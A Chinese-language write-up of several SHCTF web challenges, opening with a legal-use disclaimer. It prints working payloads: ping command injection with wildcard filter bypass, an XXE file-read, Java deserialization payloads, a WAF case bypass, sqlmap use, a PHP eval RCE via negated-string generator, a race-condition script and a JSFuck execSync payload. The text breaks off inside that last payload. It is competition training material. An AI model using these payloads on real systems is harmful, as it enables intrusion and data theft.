SHCTF-[WEB]部分writeup
- 法律与道德使用声明
- 比赛地址
- [[阶段1] ez-ping](#[阶段1] ez-ping)
- [[阶段2] Mini Blog](#[阶段2] Mini Blog)
- [[阶段3] 你也懂java?](#[阶段3] 你也懂java?)
- [[阶段2] Go](#[阶段2] Go)
-
- 靶机展示
- [过waf+get flag](#过waf+get flag)
- [[阶段1] 上古遗迹档案馆](#[阶段1] 上古遗迹档案馆)
- [[阶段1] kill_king](#[阶段1] kill_king)
- [[阶段1] ez_race](#[阶段1] ez_race)
- [[阶段1] calc?js?f**k!](#[阶段1] calc?js?f**k!)
- [[阶段1] Ezphp](#[阶段1] Ezphp)
- [[阶段1] Eazy_Pyrunner](#[阶段1] Eazy_Pyrunner)
- [[阶段1] 05_em_v_CFK](#[阶段1] 05_em_v_CFK)
- [[MISC][阶段2] ezAI](#[MISC][阶段2] ezAI)
法律与道德使用声明
本课程/笔记及相关技术内容仅限合法授权场景使用,严禁一切未授权的非法行为!
1. 适用场景限制
- 本课程涉及的 网络安全知识、工具及攻击手法 仅允许在以下场景使用:
- ✅ 授权渗透测试(需获得目标方书面授权)
- ✅ CTF竞赛、攻防演练等合规赛事
- ✅ 封闭实验环境(如本地靶场、虚拟机)
- ✅ 学术研究、技术教学(需确保隔离环境)
- 严禁 用于任何未经授权的真实系统、网络或设备。
2. 法律与道德责任 - 根据《中华人民共和国网络安全法》《刑法》等相关法律法规,未经授权的网络入侵、数据窃取、系统破坏等行为均属违法,可能面临刑事处罚及民事赔偿。
- 使用者需对自身行为负全部责任,课程作者及发布平台不承担任何因滥用技术导致的连带责任。
3. 工具与知识的正当用途 - 防御视角:学习漏洞原理以提升系统防护能力。
- 教育视角:理解攻击手法以培养安全意识与应急响应能力。
- 禁止用途:包括但不限于:
-❌ 入侵他人计算机系统
-❌ 窃取、篡改、删除数据
-❌ 传播恶意软件(木马、勒索病毒等)
-❌ 发起DDoS攻击或网络诈骗
4. 风险自担原则 - 即使在合法授权场景下,操作不当仍可能导致系统崩溃、数据丢失等风险。使用者需自行评估并承担操作后果。
5. 知识产权声明 - 课程中涉及的第三方工具、代码、文档版权归原作者所有,引用时请遵循其许可协议(如GPL、MIT等)。
6. 违法违规后果 - 技术滥用将被依法追责,包括但不限于:
- 行政拘留、罚款(《网络安全法》第27、63条)
- 有期徒刑(《刑法》第285、286条非法侵入/破坏计算机系统罪)
- 终身禁止从事网络安全相关职业
请务必遵守法律法规,技术向善,共同维护网络安全环境!
如发现安全漏洞,请通过合法渠道上报(如CNVD、厂商SRC)
比赛地址
https://shc.tf/ 不确定后续是否会有复现环境,发文时我们参赛选手还可以登录

因为wp是断断续续完成的,有时候超时了没延靶机,所以同一题前后可能端口号不一样。
[阶段1] ez-ping
靶机展示
还是比较简单,不过估计 flag 是关键字会被拦截

payload
看到 flag 在根目录下,估计cat / flag 都是敏感字都被拦了,读文本文件除了 cat 以外 tail / head 等都很常用,加上用通配符? 绕过即可。
bash
┌──(kali㉿kali)-[~]
└─$ curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && ls /'
(......)
dev
etc
flag
(......)
┌──(kali㉿kali)-[~]
└─$ curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && cat /flag'
命令中包含非法字符!
┌──(kali㉿kali)-[~]
└─$ curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && flag'
命令中包含非法字符!
┌──(kali㉿kali)-[~]
└─$ curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /f*'
命令中包含非法字符!
┌──(kali㉿kali)-[~]
└─$ curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /**l*'
命令中包含非法字符!
┌──(kali㉿kali)-[~]
└─$ curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?'
(......)
SHCTF{94c6789c-ea67-4271-b3b4-61271ac45d7c}
源码过滤+getshell
直接ls可以看到当前目录的 .php 文件,我们看下源码尝试 getshell
拦截规则在 ping.php ,白名单允许 字母数字、.、-、/、?、/,虽然 * 也在里面不过下面黑名单也有。
拿shell也比较简单,虽然直接在网页上拼接 revshell 命令失败了,不过我们可以让靶机从 vps 直接下载 revshell 脚本,用 curl / wget + 管道符 | bash / sh 即可,具体略。
bash
┌──(kali㉿kali)-[~]
└─$ curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail -n 100 ping.php'
(......)
<?php
header('Content-Type: text/plain; charset=utf-8');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$domain = $_POST['domain'] ?? '';
if (!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)) { // 白名单在这里
http_response_code(400);
echo "无效的域名!";
exit;
}
if (empty($domain)) {
http_response_code(400);
echo "请输入域名!";
exit;
}
try {
$cmd = "ping -c 4 " . $domain;
if (!preg_match('/cat|tac|flag|\*/',$cmd)){
$output = shell_exec($cmd . " 2>&1");
} else {
$output = "命令中包含非法字符!";
}
echo $output ?: "命令执行失败!";
} catch (Exception $e) {
http_response_code(500);
echo "错误: " . $e->getMessage();
}
}
?>

[阶段2] Mini Blog
题干: 完全安全的博客系统
靶机展示
看到是个很简单的 blog 页面

可以发表文章以及修改个人信息

简单信息收集
看到是 Python 搭建的服务器,第一反应是 SSTI ,但是实际上并不是(主页可以看到其实我已经尝试了 {``{ 7*7 }} 这种模板注入但并无效果),不死心再用 tplmap 跑了遍尝试也未能找到注入点。
┌──(test㉿kali-plus)-[~/Desktop]
└─$ curl -I http://challenge.shc.tf:32242
HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.14.0
Date: Wed, 11 Feb 2026 11:41:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2804
Connection: close
攻击思路
看到数据是 XML 格式提交,那大概率是 XXE 实体注入了

PAYLOAD
用 XXE 的 payload看了下 /etc/passwd 直接就有回显了。
xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><post><title>&xxe;</title><content>123</content></post>
直接拿到了 /etc/hosts

get flag
因为不知道 flag 具体位置,随便测试了下, 运气好用 /flag 直接拿到了 flag 了。

[阶段3] 你也懂java?
题干: 源代码和二进制已经全部在这里了,没有任何秘密。
靶机展示
靶机主页打开后可以看到是一段源码,看上去是后端逻辑代码,并且有 /upload 接口,其中 new ObjectInputStream(exchange.getRequestBody() ,未经校验将 body 传入,大概率是反序列化的打法。

网页源码
public
String method = exchange.getRequestMethod();
String path = exchange.getRequestURI().getPath();
if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) {
try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
Object obj = ois.readObject();
if (obj instanceof Note) {
Note note = (Note) obj;
if (note.getFilePath() != null) {
echo(readFile(note.getFilePath()));
}
}
} catch (Exception e) {}
}
}
Note.jar
比赛环境赛题直接提供了 Note.jar 下载,下载下来用 jd-gui 查看下,代码如下,有3个私有变量,知道了 Note 对象的属性。

jar 包源码如下:
Note.java
import java.io.Serializable;
public class Note implements Serializable {
private static final long serialVersionUID = 1L;
private String title;
private String message;
private String filePath;
public Note(String title, String message, String filePath) {
this.title = title;
this.message = message;
this.filePath = filePath;
}
public String getTitle() {
return title;
}
public String getMessage() {
return message;
}
public String getFilePath() {
return filePath;
}
}
攻击思路
Note 对象调用了 getFilePath() ,大概率是任意文件读取,因为后端逻辑没有校验传入,可构造恶意类,设置 FilePath 为敏感文件路径,用 /etc/passwd 或者 /etc/hostname 这种验证下。
创建恶意类
Exp.java
// Exp.java
import java.io.*;
public class Exp {
public static void main(String[] args) {
try {
Note note = new Note("Exploit", "Reading Flag", "/etc/passwd");
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(note);
oos.close();
System.out.println("Payload 已生成: payload.ser");
} catch (Exception e) {
e.printStackTrace();
}
}
}
设置JDK环境
kali 默认没 javac ,不过碰巧因为打其他靶场传了个 jdk7 就用这个版本,当前 shell 环境要设好环境变量,后面成功编译的前提。
bash
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ find / -iname javac -type f 2>/dev/null
/home/kali/Desktop/jdk7/bin/javac
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ export JAVA_HOME=/home/kali/Desktop/jdk7
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ export PATH=$JAVA_HOME/bin:$PATH
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ java -version && javac -version
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) Server VM (build 24.80-b11, mixed mode)
javac 1.7.0_80
编译恶意类
javac Note.java Exp.java
java Exp
将 Note.java 和 Exp.java 放在同一个目录,编译后用 curl --data-binary 发送,因输出较多用 grep 过滤下关键字,看到已读取到了 /etc/passwd
bash
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ls *.java
Exp.java Note.java
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ java -version
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) Server VM (build 24.80-b11, mixed mode)
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ javac Note.java Exp.java
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ java Exp
Payload 已生成: payload.ser
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ curl -X POST http://challenge.shc.tf:31336/upload --data-binary @payload.ser | grep root
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 2756 100 2632 100 124 27121 1277 --:--:-- --:--:-- --:--:-- 28708
<div class="output">root:x:0:0:root:/root:/bin/sh
修改恶意类尝试得到flag
因不知 flag 具体位置在哪先尝试 /flag ,修改 Exp.java 中然后重新编译后并发送 payload ,可以看到顺利拿到了 flag
java
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ vi Exp.java
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ javac Note.java Exp.java
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ java Exp
Payload 已生成: payload.ser
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ cat Exp.java | grep flag
Note note = new Note("Exploit", "Reading Flag", "/flag"); <- 这行自己修改要读取的文件
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ curl -X POST http://challenge.shc.tf:31336/upload --data-binary @payload.ser | grep -i ctf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2092 100 1974 100 118 1795 107 0:00:01 0:00:01 --:--:-- 1903
<div class="output">SHCTF{67648c68-bc8d-4817-8615-77eb4ab21f93}
利用 python 直接发payload
这道题目也可以利用 python + java 反序列化的特性,跳过用编译环节直接发送 payload ,继而直接拿到 flag 或者相应的文件
python
import requests
import re
# 目标 URL
url = "http://challenge.shc.tf:31336/upload"
def generate_payload(file_path):
payload = bytearray.fromhex("aced0005737200044e6f746500000000000000010200034c000866696c65506174687400124c6a6176612f6c616e672f537472696e673b4c00076d65737361676571007e00014c00057469746c6571007e00017870") # 这里是java反序列化的一些魔术字节
path_bytes = file_path.encode()
payload.extend(b'\x74')
payload.extend(len(path_bytes).to_bytes(2, 'big'))
payload.extend(path_bytes)
for _ in range(2):
payload.extend(b'\x74\x00\x03pwn')
return payload
def pwn(target):
target_file = target
print(f"[*] Generating payload for: {target_file}")
data = generate_payload(target_file)
try:
response = requests.post(url, data=data, timeout=5)
print("-" * 30)
print("[+] Response Status:", response.status_code)
if '<div class="output">' in response.text:
output = response.text.split('<div class="output">')[1].split('</div>')[0]
print("[+] Output Content (First 100 bytes):")
print(output)
# 如果是读 class 文件,建议把内容存下来分析
if target.endswith('.class'):
with open("dumped.class", "wb") as f:
# 这里要注意,response.text 可能会破坏二进制,
# 最好直接从 response.content 里截取,但这需要知道偏移量
f.write(output.encode())
print("[*] Binary file saved to dumped.class")
else:
print("[-] No output found in response. Check if path exists.")
print(response.text[:500])
print("-" * 30)
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
while True:
pwn(input('[-] Pls input /path/file: '))
更加偷懒的方法
用下面的 payload ,不但不用 jdk 编译恶意类,连 python 都省了。
如果要拿
/etc/hosts(10个字符),下面的payload.bin生成时
\x05/flag请修改成:\x0a/etc/hosts
bash
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ echo -ne "\xac\xed\x00\x05\x73\x72\x00\x04\x4e\x6f\x74\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x50\x61\x74\x68\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x07\x6d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x01\x4c\x00\x05\x74\x69\x74\x6c\x65\x71\x00\x7e\x00\x01\x78\x70\x74\x00\x05/flag\x74\x00\x03pwn\x74\x00\x03pwn" > payload.bin
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ curl -X POST http://challenge.shc.tf:31865/upload --data-binary @payload.bin | grep SHCTF
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2079 100 1974 100 105 618 32 0:00:03 0:00:03 --:--:-- 651
<div class="output">SHCTF{67648c68-bc8d-4817-8615-77eb4ab21f93}
[阶段2] Go
**题干:**我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的 admin 角色请求。
靶机展示
可以看到返回一串 json

过waf+get flag
一开始尝试发送 GET 无效
bash
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ curl "http://challenge.shc.tf:31025/?role=admin&username=admin"
{"username":"guest","role":"guest","message":"Access denied. Only role='admin' can view the flag."}
改用 POST 发送发现响应改变
bash
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ curl "http://challenge.shc.tf:31025/" -d '{"role":"admin"}'
{"error": "🚫 WAF Security Alert: 'admin' value is strictly forbidden in 'role' field!"}
尝试 bypass 发现可以通过修改参数大小写绕过,预计防火墙只拦截了小写的 role
bash
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ curl "http://challenge.shc.tf:31025/" -d '{"Role":"admin"}'
{"flag":"SHCTF{2ea0dca2-e397-4c7c-892e-785d30c2e19a}","role":"admin","username":""}
[阶段1] 上古遗迹档案馆
题干: 你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目,然后通过不断测试来找到我的漏洞点,提升测试成功率,最后在特殊漏洞点给我发送点特殊数据,我就会给你我的正确flag,最后你才能得分啊。
靶机展示

SQL注入
这道题比较简单的,以 1' 作为参数就报错了。

后面手注或者 sqlmap 都可以,最终 flag 路径在 archive_db-->secret_vault->secret_key

bash
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://challenge.shc.tf:30879/?id=* --batch -D archive_db -T secret_vault --dump
(过程略)
+----+---------------------------------------------+
| id | secret_key |
+----+---------------------------------------------+
| 1 | SHCTF{0ede81a7-627f-45c4-9a9d-63655a9d214e} |
+----+---------------------------------------------+
[阶段1] kill_king
题干: 提升自己,杀死King,或者,做点别的???
靶机展示
可以看到是个网页游戏,打开游戏后按 F12 打不开控制台估计被代码屏蔽了,不过可以先开控制台再打开网页就可以绕过。

攻击思路
这种 javascript 一般控制台都可以通过调整变量值、修改函数等方式,修改游戏底层逻辑代码,直接绕过初始设定。
查看源码可以看到 javascript 源代码在 http://challenge.shc.tf:30354/logic.js,代码其中一些部分如下:
javascript
// 略过部分代码
mounted() {
_this = this; // <---- 用 _this.xxx 等来进行调整
this.audioController = new AudioController(this.audioArray);
// JCanvas Audio Module
audioNode = document.querySelector("audio");
document.onclick = function () {
audioNode.loop = true;
audioNode.play();
if (!_this.bgMusicStarted) {
_this.bgMusicStarted = true;
audioCtx = new (window.AudioContext || window.webkitAudioContext)();
sourceNode = audioCtx.createMediaElementSource(audioNode);
// Create the lowpass filter
lowpassNode = audioCtx.createBiquadFilter();
// Connect the source to the lowpass filter
sourceNode.connect(lowpassNode);
// Connect the lowpass filter to the output (speaker)
lowpassNode.connect(audioCtx.destination);
console.log("lowpass");
lowpassNode.frequency.value = 250;
}
};
document.body.onkeyup = function (e) {
if (e.keyCode == _this.keyCode) {
if (!_this.shoppingPhase) _this.punch();
}
};
}
});
控制台中输入 _this.damage = 9999; 可实现一刀 99999 的效果,另外下面这个payload可以直接跳到最后一关国王:
javascript
_this.stage = 10;
_this.enemiesDefeated = 10;
_this.enemy = new Enemy(3000 * 20, "King Trost");
_this.boss = true;
_this.damage=99999;
第二层 php 审计
在普通浏览器中过关会直接重定向到 xxx/check.php 刷新就会发现又 No access,通过 burpsuite 分析可以看到过关时 POST 会携带参数 result=win 访问 check.php。

另外 logic.js 源码中也可以看到 body 部分代码,所以游戏可以不打直接用 POST 带 result=win访问 check.php
javascript
fetch('check.php', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'result=win'
})
.then(response => response.text())
.then(flag => {
document.getElementById('flagBox').innerText = flag;
})
.catch(err => console.error('鑾峰彇 flag 鍑洪敊:', err)); // 直接从网页复制过来的有些乱码
// flag鑾峰彇
var form = document.createElement("form");
form.method = "POST";
form.action = "check.php";
form.style.display = "none"
使用 curl 发送 POST 可以看到:
bash
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://challenge.shc.tf:30354/check.php -d "result=win"
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /></span><span style="color: #FF8000">// 国王并没用直接爆出flag,而是出现了别的东西???<br /></span><span style="color: #007700">if (</span><span style="color: #0000BB">$_SERVER</span><span style="color:
(数据较多略,代码放在了图下面)
用 hackbar 发送看到了审计题源码如下,除了 result 参数外,还提交 who / are / you 三个参数,其中 who / are 必须是数字,而 you 只能匹配非单词的字符

php
<?php
// 国王并没用直接爆出flag,而是出现了别的东西???
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['result']) && $_POST['result'] === 'win') {
highlight_file(__FILE__);
if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
$who = (String)$_GET['who'];
$are = (String)$_GET['are'];
$you = (String)$_GET['you'];
if(is_numeric($who) && is_numeric($are)){
if(preg_match('/^\W+$/', $you)){
$code = eval("return $who$you$are;");
echo "$who$you$are = ".$code;
}
}
}
} else {
echo "Invalid result.";
}
} else {
echo "No access.";
}
?>
php审计攻击思路
这道题get传入三个参数,分别是 who / are / you ,其中:
who和are必须是数字;you从头到尾每一个字符都不能是字母、数字或下划线;
最终三个参数需要拼接成return $who$you$are,同时要可以过eval()函数,也就是说必须是个合法的php的代码。
这道题乍一看没有什么思路,不过逆推的话还是很容易解决:
- 如果不考虑正则过滤,这道题最终可以是
eval("return 1?xxxx:1")这种三元表达式,这样解决了首尾2个参数只能是数字的问题。
bash
┌──(kali㉿kali)-[~/Desktop]
└─$ cat payload.php
<?php
eval("return 1?system('whoami'):1;");
┌──(kali㉿kali)-[~/Desktop]
└─$ php payload.php
kali
php的函数名可以是动态引用的,留意下面hello1到hello3的三种函数的用法
php
<?php
function hello1() {
echo "hello1";
}
function hello2($str_) {
echo "hello2" . $str_;
}
function hello3($str_) {
echo "hello3" . $str_;
}
$func = 'hello1';
$func();
echo "\n";
$func2 = 'hello2';
$str_ = ' world';
$func2($str_);
echo "\n";
('hello3')(' SHCTF');
- 既然我们自定义的函数既然可以动态引用,内置函数比如
system这种也可以动态引用的
bash
┌──(kali㉿kali)-[~/Desktop]
└─$ php -r "('system')('whoami');"
kali
- 最后的问题了,就是怎么解决用非字符串来进行攻击?
这个攻击还是比较简单的,用hackbat发送4个参数,具体利用是取反,本地调试过如果使用八进制和十六进制编码传递system这种命令依旧会被正则拦截,取反后再取反就不会了。
http://challenge.shc.tf:32551/check.php?who=1&are=2&you=?%28~%8c%86%8c%8b%9a%92%29%28~%96%9b%29:
留意下面代码虽然出错了,但是 id 已经暴露出来。

最后是半成品的 payload
- 先用
.py脚本生成要执行的命令
python
import sys
import urllib.parse
def negate_payload(data):
# 将字符串转换为 PHP 取反格式 (~%xx%xx...)
res = ""
for char in data:
# 位取反并转为 16 进制
negated_hex = hex((~ord(char)) & 0xff)[2:].zfill(2)
res += f"%{negated_hex}"
return f"(~{res})"
if __name__ == "__main__":
if len(sys.argv) < 2:
# 默认执行 id
cmd = "id"
else:
# 获取命令行传入的所有参数并组合成字符串
cmd = " ".join(sys.argv[1:])
# 构造完整的 you 参数部分
# 结构: ?(system)(cmd):
system_neg = negate_payload("system")
cmd_neg = negate_payload(cmd)
payload = f"?{system_neg}{cmd_neg}:"
# 直接打印,不带换行,方便 Shell 变量引用
sys.stdout.write(payload)
- 使用
curl将payload传递给靶机
bash
┌──(kali㉿kali)-[~/Desktop/killking]
└─$ payload=$(python payload.py "ls /flag")
┌──(kali㉿kali)-[~/Desktop/killking]
└─$ curl -s -X POST "http://challenge.shc.tf:30940/check.php?who=1&are=2&you=$payload" \
-d "result=win" | tail -n 3
<b>Warning</b>: Use of undefined constant ������ - assumed '������' (this will throw an Error in a future version of PHP) in <b>/var/www/html/check.php(13) : eval()'d code</b> on line <b>1</b><br />
/flag
1?(~������)(~������):2 = /flag
┌──(kali㉿kali)-[~/Desktop/killking]
└─$ payload=$(python payload.py "cat /flag")
┌──(kali㉿kali)-[~/Desktop/killking]
└─$ curl -s -X POST "http://challenge.shc.tf:30940/check.php?who=1&are=2&you=$payload" \
-d "result=win" | tail -n 3
<b>Warning</b>: Use of undefined constant ������� - assumed '�������' (this will throw an Error in a future version of PHP) in <b>/var/www/html/check.php(13) : eval()'d code</b> on line <b>1</b><br />
SHCTF{3545d5d6-8a20-42b8-877b-f0e83c19248b}
1?(~������)(~�������):2 = SHCTF{3545d5d6-8a20-42b8-877b-f0e83c19248b}
[阶段1] ez_race
题干: 狠狠赚钱
靶机展示

攻击思路
提现 path("withdraw", WithdrawView.as_view(), name="withdraw"),
充值 path("recharge", RechargeView.as_view(), name="recharge"),
flag path("flag", flag_view, name="flag"),
重置 path("reset", reset_view, name="reset"),
状态(会提示余额) path("status", status_view, name="status"),
购买flag path("buy/flag", buy_flag, name="buy_flag"),
love... path("buy/love", buy_love, name="buy_love"),
购买flag页面 path("purchase_flag", TemplateView.as_view(template_name="
核心有问题的源码是提现功能的 def form_vaild() 函数,故意设置了 1 秒延迟,如果高并发可以多次提现提到余额为负,另外业务逻辑中,当余额为负数就会爆flag
python
class WithdrawView(LoginRequiredMixin, generic.FormView):
template_name = "withdraw.html"
form_class = forms.WithdrawForm
success_url = reverse_lazy("withdraw")
def get_form_kwargs(self):
kwargs = super().get_form_kwargs()
kwargs["user"] = self.request.user
return kwargs
def form_valid(self, form):
amount = form.cleaned_data["amount"]
with transaction.atomic():
time.sleep(1.0) <------ 故意设置的延迟
user = models.User.objects.get(pk=self.request.user.pk)
if user.money >= amount:
user.money = F('money') - amount
user.save()
models.WithdrawLog.objects.create(user=user, amount=amount)
user.refresh_from_db()
if user.money < 0: <------ 金额小于0会爆flag
return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))
return redirect(self.get_success_url())
payload
选到提现页面贴入 payload 然后发送到 console,如果失败的话,访问 /reset 接口,领取红包确保余额有10元再发送 payload
javascript
(async () => {
console.log("%c[*] 开始详细调试竞争攻击...", "color: cyan; font-weight: bold;");
// 1. 从页面获取当前的 Token
const csrfTokenValue = document.querySelector('[name=csrfmiddlewaretoken]')?.value;
const cookieToken = document.cookie.split('; ').find(row => row.startsWith('csrftoken='))?.split('=')[1];
console.log(`[DEBUG] 页面 Form Token: ${csrfTokenValue}`);
console.log(`[DEBUG] Cookie Token: ${cookieToken}`);
if (!csrfTokenValue) {
console.error("[!] 错误:页面上没找到 CSRF Token!");
return;
}
const withdrawUrl = window.location.pathname;
const amount = 10;
const bodyData = `csrfmiddlewaretoken=${csrfTokenValue}&amount=${amount}`;
console.log("%c[*] 正在发出 10 个探测请求...", "color: orange;");
// 2. 并发请求并记录详细状态 如果一直崩溃,把下面 length: 10 再调小
const requests = Array.from({ length: 10 }, async (v, i) => {
try {
const res = await fetch(withdrawUrl, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
// 很多 Django 配置也会检查这个 Header
"X-CSRFToken": csrfTokenValue
},
body: bodyData
});
const text = await res.text();
// 状态追踪
if (res.status === 200) {
if (text.includes("SHCTF{") || text.includes("CTF{")) {
console.log(`%c[Thread ${i}] 成功!获取到 Flag`, "color: #00ff00;");
return text.match(/(flag|CTF)\{.*?\}/)[0];
} else if (text.includes("余额不足") || text.includes("Insufficient")) {
console.log(`%c[Thread ${i}] 失败:余额不足 (Status: 200)`, "color: yellow;");
} else {
console.log(`[Thread ${i}] 成功扣款或普通响应 (Status: 200)`);
}
} else if (res.status === 403) {
console.error(`[Thread ${i}] 触发 CSRF 拦截 (Status: 403)!Token 可能过期了。`);
} else {
console.warn(`[Thread ${i}] 服务器返回异常状态码: ${res.status}`);
}
} catch (e) {
console.error(`[Thread ${i}] 网络连接中断: ${e.message}`);
}
return null;
});
const allResults = await Promise.all(requests);
const finalFlag = allResults.find(r => r !== null);
if (finalFlag) {
console.log(`%c\n恭喜!最终 Flag: ${finalFlag}`, "background: #222; color: #bada55; font-size: 24px;");
} else {
console.log("\n%c[!] 未能直接获取 Flag。请刷新首页查看 Balance 是否变负。", "color: #ff4444;");
}
})();
这道题多线程并发比较容易崩,我是崩了好几次再拿到的 flag

另外攻击成功的话,从 response 中也可以看到 flag

[阶段1] calc?js?f**k!
题干: 怎么又是计算器?又是js?f**k!
靶机展示
打开看到是个计算机,向 /calc 接口提交 POST 请求,传参 expr

源码
因为网页有源码,可以看到只允许除了8以外的数字以及一些符号
javascript
const express = require('express');
const app = express();
const port = 5000;
app.use(express.json());
const WAF = (recipe) => {
const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
if (ALLOW_CHARS.test(recipe)) {
return true;
}
return false;
};
function calc(operator) {
return eval(operator);
}
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
app.post('/calc', (req, res) => {
const { expr } = req.body;
console.log(expr);
if(WAF(expr)){
var result = calc(expr);
res.json({ result });
}else{
res.json({"result":"WAF"});
}
});
app.listen(port, () => {
console.log(`Server running on port ${port}`);
});
攻击思路
jsf*ck 只需要 !、[ 、] 即可完成攻击,白名单字符已绝对够用
利用 jsf**k 网站
https://jsf**k.com/ <-请自行脑补*号字符对应的字母,关于为什么仅 !、[ 、] 就可以执行各种命令,这个网页上有简要说明
- 查看根目录
process.mainModule.require('child_process').execSync('ls /').toString()
payload利用jsf**k转换,放入网站下图框中,注意Eval Source需要勾选

2.利用 curl / hackbar / python 等工具发送 payload ,注意选择 application/json
我们可以看到 flag 在根目录下

- 最终读取
flag的payload如下,可修改端口可直接复用
bash
┌──(kali㉿kali)-[~]
└─$ bash 2.sh
{"result":"SHCTF{b682fc24-befd-435e-98e6-b1bd23ca1a99}\n"}
┌──(kali㉿kali)-[~]
└─$ cat 2.sh
curl -X POST http://challenge.shc.tf:30518/calc -H "Content-Type: application/json" -d '{"expr":"[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]